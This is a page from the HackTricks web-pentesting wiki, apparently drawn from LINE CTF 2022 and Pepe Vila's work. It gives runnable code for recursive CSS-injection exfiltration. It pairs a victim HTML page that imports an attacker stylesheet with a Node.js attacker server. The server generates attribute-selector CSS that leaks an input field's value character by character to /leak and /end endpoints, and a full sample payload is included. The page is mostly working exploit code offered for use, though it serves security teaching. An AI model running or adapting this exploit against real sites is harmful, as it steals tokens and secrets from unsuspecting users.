css-injection-code.md (7616B)
1 --- 2 title: "CSS Injection Code" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/css-injection/css-injection-code.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/css-injection/css-injection-code.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # CSS Injection Code 14 15 This runnable example implements recursive CSS exfiltration. The victim imports an attacker-controlled stylesheet; attribute selectors test one prefix and suffix character at a time, and matching selectors request `/leak` until the complete value triggers `/end`.<sup>[[1]](#references)[[2]](#references)</sup> 16 17 ```html 18 <!DOCTYPE html> 19 <body> 20 <div> 21 <article> 22 <div> 23 <p></p> 24 <div> 25 <div> 26 <div> 27 <div> 28 <div> 29 <input type="text" value="1234567890" /> 30 <style> 31 @import url("//localhost:5001/start?"); 32 </style> 33 </div> 34 </div> 35 </div> 36 </div> 37 </div> 38 </div> 39 </article> 40 </div> 41 </body> 42 ``` 43 44 ```javascript 45 const http = require("http") 46 const url = require("url") 47 48 // Port to exfiltrate to 49 const port = 5001 50 // Host to exfiltrate to 51 const HOSTNAME = "http://localhost:5001" 52 const DEBUG = false 53 54 var prefix = "", 55 postfix = "" 56 var pending = [] 57 var stop = false, 58 ready = 0, 59 n = 0 60 61 const requestHandler = (request, response) => { 62 let req = url.parse(request.url, true) 63 log("\treq: %s", request.url) 64 65 // If stop is set, leakage is finished 66 if (stop) return response.end() 67 68 switch (req.pathname) { 69 // This is only requested when leakage starts 70 case "/start": 71 genResponse(response) 72 break 73 74 // Every time a prefix or suffix character is leaked 75 case "/leak": 76 response.end() 77 // A pre parameter extends the known prefix: s(E)cret 78 if (req.query.pre && prefix !== req.query.pre) { 79 prefix = req.query.pre 80 81 // A post parameter extends the known suffix: secre(T) 82 } else if (req.query.post && postfix !== req.query.post) { 83 postfix = req.query.post 84 } else { 85 break 86 } 87 88 // Wait for both prefix and suffix probes before responding to the pending @import 89 if (ready == 2) { 90 genResponse(pending.shift()) 91 ready = 0 92 } else { 93 ready++ 94 log("\tleak: waiting others...") 95 } 96 break 97 98 // While waiting for a pre and a post, the next @import is waiting to be responded 99 // by a new generated payload with another "pre" and "post" 100 case "/next": 101 if (ready == 2) { 102 genResponse(response) 103 ready = 0 104 } else { 105 pending.push(response) 106 ready++ 107 log("\tquery: waiting others...") 108 } 109 break 110 111 // Called when the secret is leaked 112 case "/end": 113 stop = true 114 console.log("[+] END: %s", req.query.token) 115 116 default: 117 response.end() 118 } 119 } 120 121 const genResponse = (response) => { 122 // Verbose output showing the characters recovered so far 123 console.log("...pre-payload: " + prefix) 124 console.log("...post-payload: " + postfix) 125 126 // Payload generation; an example response is shown below 127 let css = 128 "@import url(" + 129 HOSTNAME + 130 "/next?" + 131 Math.random() + 132 ");\n" + 133 [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"] 134 .map( 135 (e) => 136 'input[value$="' + 137 e + 138 postfix + 139 '"]{--e' + 140 n + 141 ":url(" + 142 HOSTNAME + 143 "/leak?post=" + 144 e + 145 postfix + 146 ")}" 147 ) 148 .join("") + 149 "div ".repeat(n) + 150 "input{background:var(--e" + 151 n + 152 ")}" + 153 [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"] 154 .map( 155 (e) => 156 'input[value^="' + 157 prefix + 158 e + 159 '"]{--s' + 160 n + 161 ":url(" + 162 HOSTNAME + 163 "/leak?pre=" + 164 prefix + 165 e + 166 ")}" 167 ) 168 .join("") + 169 "div ".repeat(n) + 170 "input{border-image:var(--s" + 171 n + 172 ")}" + 173 "input[value=" + 174 prefix + 175 postfix + 176 "]{list-style:url(" + 177 HOSTNAME + 178 "/end?token=" + 179 prefix + 180 postfix + 181 "&)};" 182 183 response.writeHead(200, { "Content-Type": "text/css" }) 184 response.write(css) 185 response.end() 186 n++ 187 } 188 189 // Server listening 190 const server = http.createServer(requestHandler) 191 192 server.listen(port, (err) => { 193 if (err) { 194 return console.log("[-] Error: something bad happened", err) 195 } 196 console.log("[+] Server is listening on %d", port) 197 }) 198 199 function log() { 200 if (DEBUG) console.log.apply(console, arguments) 201 } 202 203 /* 204 HTTP/1.1 200 OK 205 Content-Type: text/css 206 Date: Fri, 01 Apr 2022 14:35:39 GMT 207 Connection: close 208 Content-Length: 2149 209 210 @import url(http://localhost:5001/next?0.7834603960990516); 211 input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)} 212 input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)} 213 input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)} 214 input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)} 215 input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)} 216 input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)} 217 input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)} 218 input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)} 219 input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)} 220 input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)} 221 input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)} 222 input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)} 223 input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)} 224 input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)} 225 input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)} 226 input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} 227 input{background:var(--e0)} 228 input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} 229 input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)} 230 input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)} 231 input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)} 232 input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)} 233 input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)} 234 input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)} 235 input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)} 236 input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)} 237 input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)} 238 input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)} 239 input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)} 240 input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)} 241 input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)} 242 input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)} 243 input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)} 244 input{border-image:var(--s0)} 245 input[value=]{list-style:url(http://localhost:5001/end?token=&)}; 246 */ 247 248 ``` 249 250 The response block above is the complete first-round output. Subsequent rounds use the same selector set with the recovered prefix and suffix incorporated into each probe. 251 252 ## References 253 254 - [1] [LINE CTF 2022 - CSS/XS-Leak writeup and recursive exfiltration code](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) 255 - [2] [Pepe Vila - Recursive CSS exfiltration proof of concept](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)